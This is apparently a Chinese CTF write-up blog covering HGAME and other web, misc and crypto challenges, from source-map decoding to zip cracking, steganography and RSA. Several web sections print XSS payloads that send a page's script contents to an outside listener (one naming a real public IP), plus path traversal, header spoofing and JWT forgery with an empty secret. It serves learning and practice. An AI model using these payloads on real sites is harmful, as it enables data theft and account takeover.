标签 WP 下的文章

webpack-engine

  1. 这题当时没仔细做,发现挺简单的,和前面的JS题目一样分析源码就行。
  2. 在源码中可以发现有注解
  3. 解码后发现是json字符串

    这里可以发现有base64加密
  4. 两次base64解码就可以得到flag

    flag: hgame{D0nt_f0r9et_2_ClOs3_S0urce_m@p}

At0m的留言板

  1. 这题真的给我做麻了,熬了个大通宵,临门一脚还是没弄出来,在大师傅的指导下整了出来。
  2. 主要有着这些知识点:
    1. XSS执行,这里有script的过滤可以用大小写绕过。
    2. <img src="" onerror="alert(1)"> 通过img标签来执行异常处理。
    3. 在执行语句的前提下,发送HTTP请求。
    4. python SimpleHTTPServer模块来做日志记录。
  3. 可以根据题目给的提示获取到模版文件

  4. 这里就犯了个失误,导致卡了很久,以为script中的auth0r和flag就是默认的变量名,导致后续做请求时,如果出现未命名变量时会报错,导致无法发送请求。
  5. 然后访问公众号,进行留言,可以看到,输入的内容会出现在content中。

  6. 尝试XSS,发现script被拦了。
  7. 然后修改script大小写,发现可以绕过,但被识别为了文本内容。
  8. 在本地测试发现可以通过img/input标签的onerror报错输入执行js语句。
    <img src="" onerror="document.getElementsByClassName('content')[0].innerText =flag">

    <input value="" type=image src onerror="document.getElementsByClassName('content')[0].innerText =flag" type="text">

  9. 当这个时候找不到变量名称,所以就会报错,显示为空。

  10. 虽然无法通过这种方法获取flag,但在onerror能够执行js语句时,还有很多能做的,这里就开始下一阶段:通过发送http请求,查看http请求中的日志,获取flag。

  11. 先在公网服务器中起一个监听服务

  12. 在微信公众号中输入payload,监听服务器中的请求。

  13. payload:<img src="" onerror="var flag = window.flag; const Http = new XMLHttpRequest();const url='http://[IP]:10020/'+flag;Http.open('GET', url);Http.send();Http.onreadystatechange = (e) => {console.log(Http.responseText)}">

  14. 可以发现该变量确实不存在

  15. 当时就想着如何获取变量名,从而得到flag,但一直没找到这类函数,属于是知识面窄了。

  16. 然后通过和大师傅的交流,大师傅提供了一个思路,通过getElementsByTagName这个函数获取到script的内容,这样就可以获取到flag了。


    1. 原理是这样的,虽然我们无法获取到flag的名字,但该页面却依旧会按照模版文件那样,有script的内容。
    2. 通过过滤script的内容,从而获取到flag。
  17. 最终形成的payload就是:<img src="" onerror="var flags =document.getElementsByTagName('sCriPt')[0].innerText; var Http = new XMLHttpRequest();const url='http://[IP]:10020/'+flags;Http.open('get', url);Http.send('flag='+flags);Http.onreadystatechange = (e) => {console.log(Http.responseText)}">

  18. 进行URL解码就行了

  19. flag:hgame{Xs5_1s_so_int3Restin9!Var_is_0uT_of_d4te}

Web

蛛蛛...嘿嘿♥我的蛛蛛

  1. 这题比较简单,主要是要写代码,手找也可以,就是有100个页面。
  2. 简单分析一下


    1. 第一个页面有一个href
    2. 第二个页面有两个按钮,但只有一个href。
    3. href的位置是随机生成的,比如第87个页面,就会在87个按钮中随机生成一个href。

    4. 可以用手来一个一个找,但还是推荐代码。

      from asyncio import futures
      import bs4
      from pip import main
      import requests
      def ph(value):
      url = "https://hgame-spider.vidar.club/b6d50742e0"
      url = url+value
      res = requests.get(url=url).text
      soup = bs4.BeautifulSoup(res, features="lxml")
      ret = ""
      for i in soup.find_all("a"):
      if i.get("href"):
      # print(i.get("href"))
      ret = i.get("href")
      h1_res = soup.find_all("h1")
      for i in h1_res:
      print(i.text)
      p_res = soup.find_all("p")
      for i in p_res:
      print(i.text)
      return ret
      def fb(value):
      if value == "":
      return
      else:
      v = ph(value)
      print(v)
      fb(v)
      if __name__ == '__main__':
      fb("?key=ceoAJjVsz0a9lFv7itjDZttUbKf0DNiNVOhUAG02mggmZiyTgNHXdRZ1QaHzCAPnYF3oB%2BrW1pe5YGzQtnb1iQ%3D%3D")

    5. 最后在101个页面找到了,flag最后还再套了一下,在响应头里面的。

  3. flag: hgame{a0204768e95392d881bcd5a5f2f3c92329287db7d7d88a1301f1978e0084c2c2}

  4. 最后还总结一下这个过程中还用的别的XSS内容,虽然没用成功。


    1. img/input onerror报错执行JS代码<img src="" onerror="var img=document.createElement('img'); img.src='http://[IP]:10020/'+flag; document.body.appendChild(img);">
    2. <details open ontoggle=document.getElementsByClassName('name')[0].innerText=flag>
    3. 基于1的前提下,调用HTTP请求<img src="" onerror="var flag = window.flag; const Http = new XMLHttpRequest();const url='http://114.215.169.56:10020/'+flag;Http.open('GET', url);Http.send();Http.onreadystatechange = (e) => {console.log(Http.responseText)}">
    4. 参考的博客
      1. https://mp.weixin.qq.com/s/Egf7sjVvviTESNYEds-pmQ
      2. https://www.cnblogs.com/wjrblogs/p/12341190.html

Tetris plus

  1. 这题提示是游戏,那就是js的问题,然后说3000分,直接搜索3000就行。
  2. 第一个提示是说:flag 貌似被藏起来了,再找找吧!
    3. 下面注释的是JSfuck,直接丢控制台里跑就行。
  3. flag: hgame{jsfuck_1s_S0_fUu1n}

Fujiwara Tofu Shop

  1. 这题是看着WP做出来的,当时Cookie那边卡住了,没注意响应头
  2. 请求来源需要为qiumingshan.net
  3. 改User-Agent为Hachi-Roku
  4. 发现需要发送Cookie
    1. 这里就卡住了,说是发送Cookie为Raspberry,但当时没注意响应头中有Set-Cookie。

    2. 将Cookie设为这个就可以了
  5. 相应后说需要添加汽油


    1. 这里也可以通过相应头中有Gasoline发现为0,设为100后在发送就可以了。
  6. 最后说是要从本地发送请求


    1. 尝试用X-Forwarded-For
    2. 还可以用X-Real-IP
  7. 最后的payload:

    cookie: flavor=Raspberry; Path=/; Domain=localhost; Max-Age=3600; HttpOnly
    gasoline: 100
    referer: qiumingshan.net
    User-Agent: Hachi-Roku
    x-real-ip: 127.0.0.1
  8. flag:hgame{I_b0ught_4_S3xy_sw1mSu1t}

easy_auth

  1. 这个题也是看WP出的,学到了点新东西。
  2. 先是注册,登陆后。
  3. 通过WP的提示,可以通过浏览器查看到token的位置。
  4. 通过字符串头发现是JWT,然后丢JWT解码一下(jwt.io)
  5. 获取到这些内容,发现检验失败(WP原话)。
  6. 根据WP提示清空了secret,可以检验成功。
  7. 改为id为1,Username为admin,进行JWT加密后,修改本地token。
  8. 获得flag
  9. flag:hgame{S0_y0u_K1n0w_hOw_~JwT_Works~1l1lL}

Misc

这个压缩包有点麻烦

  1. 这题就真的套娃,以为出了,然后里面还有一层,超级大起大落。
  2. 第一层:爆破



    六位数字

    密码为:483279

  3. 第二层:字典爆破


    1. 看提示说是字典

    2. 给了字典的直接拿字典爆就行

    3. 很快就爆出来了

    4. 密码为:&-`;qpCKliw2yTR\

  4. 第三层:明文攻击


    1. 提示是store存储,开始还不知道是什么东西,后面发现就是仅存储模式。

    2. 这里卡了很久,开始以为是7z的问题,后面发现是明文攻击需要保证压缩的工具一致,不然算法不一样就会报错。

    3. 用bandiZIP打开后发现和外面一样有一个README文件,便判断为明文攻击。

    4. 将README文件压缩后发现CRC一致,验证了想法。

    5. 可以发现存储方法这边,加密文件是用的Store方法,就是仅存储,不压缩的方式,开始甚至不知道XD。

    6. 然后用7z选定为仅存储即可

    7. 这样压缩的文件只是起到了一个打包的作用,不会压缩,基本上就是秒压缩。


      这样就保证了一致性。

    8. 将README文件当作明文文件进行攻击




  5. 第四层:文件隐写


    1. 打开图片后发现只有这个说明还没做完
    2. 用binwalk分析后提取出了压缩包
    3. 压缩包有加密
  6. 最后一层:伪加密


    1. 尝试用ZipCenOp解除加密,发现解除成功了。
    2. 然后就可以直接解压zip文件,得到flag
    3. flag为:hgame{W0w!_y0U_Kn0w_z1p_3ncrYpt!}

好康的流量

  1. wireshark打开流量包后,发现有SMTP协议,然后直接跟踪。
  2. 发现内容是以base64的方式加密的图片,丢cyberchef解密。
  3. 把图片丢到stegsolve里看看是不是隐写。
  4. 在green plane 2发现有条形码
  5. 解码发现只有一半。
  6. 再通过在看LSB发现另一半。

  7. flag为:hgame{ez_1mg_Steg4n0graphy}

群青(其实是幽灵东京)

  1. 这题也是大意了,通过频谱看到了Yoasobi后,也用上了silenteye,但不知道把Yoasobi作为密钥来解密。
  2. 拿到音频文件后,用AU打开看频谱,得到Yoasobi
  3. WP上说详细信息里说了有提示用silenteye,当时没看见,也用了silenteye。

    Mac上也可以看到

  4. 然后就是通过silenteye把Yoasobi作为密钥进行解密,得到链接。

  5. 下载下来的音频可以通过文件名发现是SSTV的传输,也可以用听的hhhh。

  6. 扫码获得flag:hgame{1_c4n_5ee_the_wav}

gogogo

  1. 下载下来后,发现有两个文件,分别为镜像,图片。
  2. 在镜像文件的桌面提取出zip文件
  3. 发现需要密码

  4. 然后对puzzle中的图片就行分析,根据题目提示为拼图。由于不会用gaps所以就用手硬拼。

  5. 解压密码:3e8f092d4d7b80ce338d6e238efb01

  6. 解压图片无法查看,判断为crc错误。

  7. 用crc脚本进行爆破后,图片恢复。

  8. 开始用Aztec补全发现扫描不出来,后面再丢Photoshop中再修复,就可以扫描出来了。

  9. 分享一个解码平台https://products.aspose.app/barcode/zh-hans/recognize#

    flag{fbab8380-a642-48aa-89b1-8e251f826b12}

朴实无华的取证

  1. 先解压后发现是镜像

  2. 然后对敏感文件进行搜索,在桌面下得到了flag.png,flag.zip以及一个日志文件。

  3. 用日志文件中的20211209作为解压密码,解压ZIP文件,得到加密文件,对png文件中的加密字符串做个逆向,即可得到flag。

  4. 解密代码如下

str = "FDCB[8LDQ?ZLOO?FHUWDLQOB?VXFFHHG?LQ?ILJKWLQJ?WKH?HSLGHPLF]"
str = [i for i in str]
for i in range(0,len(str)):
        
    str[i] = chr(ord(str[i])+32)
    
str1 = "".join(str)
print(str1)
    
for i in range(0,len(str)):     
    
    if str[i] >= "d" and str[i]<="z":
        str[i] = chr(ord(str[i])-3)
    elif str[i]=='a':
        str[i]='x'
    elif str[i]=='b':
        str[i]='y'
    elif str[i]=='c':
        str[i]='z'
    elif str[i]=='|':
        str[i]="_"
    
str = "".join(str)
print(str)

Web

  • mid
    文件包含 直接访问根目录flag
    payload ?1=../../../../../flag

Misc

  • 签到1
    Base64解密
    flag{c54ce9d7b4e17980dd4906d9941ed52a}

  • NOISE
    直接把out加上wav后缀,au频谱打开

  • huahua (队友ArrrrrrrGin)
    拿到文件是个压缩包,打开发现提取不了文件,提示压缩包损坏

    丢进010editor看看,发现头部结构被修改了[55 3A 13 14],正确的头部结构应该为[50 4B 03 04]

    修改头部文件

    成功解压出一个PNG文件,图片打不开,丢尽010editor继续看


    发现缺少PNG格式的头部结构,添加[89 50 4E 47]

    成功打开,明显发现少了一半,再看010里面的高度,修改数值


    成功出现Flag

  • something in picture
    看见图片第一眼就想起了当时做三体的痛苦

    QWB原题:https://zhuanlan.zhihu.com/p/381863924

Crypto

  • 签到2
    根据提示知道是凯撒密码,一共26种情况,挨着试即可。
    flag: flag{38c60aa8ddcfb50afa3021f40f0acdac}
  • easyrsa
   import gmpy2
   import libnum
   
   flag=r''
   e=0x10001
   n=101031799769686356875689677901727632087789394241694537610688487381734497153370779419148195361726900364384918762158954452844358699628272550435920733825528414623691447245900175499950458168333742756118038555364836309568598646312353874247656710732472018288962454506789615632015856961278964493826919853082813244227
   #c=pow(int(flag.encode('hex'),16),e,n)
   c=59381302046219861703693321495442496884448849866535616496729805734326661742228038342690865965545318011599241185017546760846698815333545820228348501022889423901773651749628741238050559441761853071976079031678640014602919526148731936437472217369575554448232401310265267205034644121488774398730319347479771423197
   dp=1089885100013347250801674176717862346181995027932544377293216564837464201546385463279055643089303360817423261428901834798955985043080308895369226243973673
   for y in range(1,e):
       if (e*dp - 1)%y == 0:
           p = (e*dp - 1)//y + 1
           if n%p == 0:
               print(p)
               break
   
   p=11053512813304664001205403980123575453687621192450504620034901579967949764275064083398246623513412930654823318518405996165146764433357196545313057931182701
   q=n//p
   d=gmpy2.invert(e,(p-1)*(q-1))
   m=pow(c,d,n)
   print(libnum.n2s(int(m)))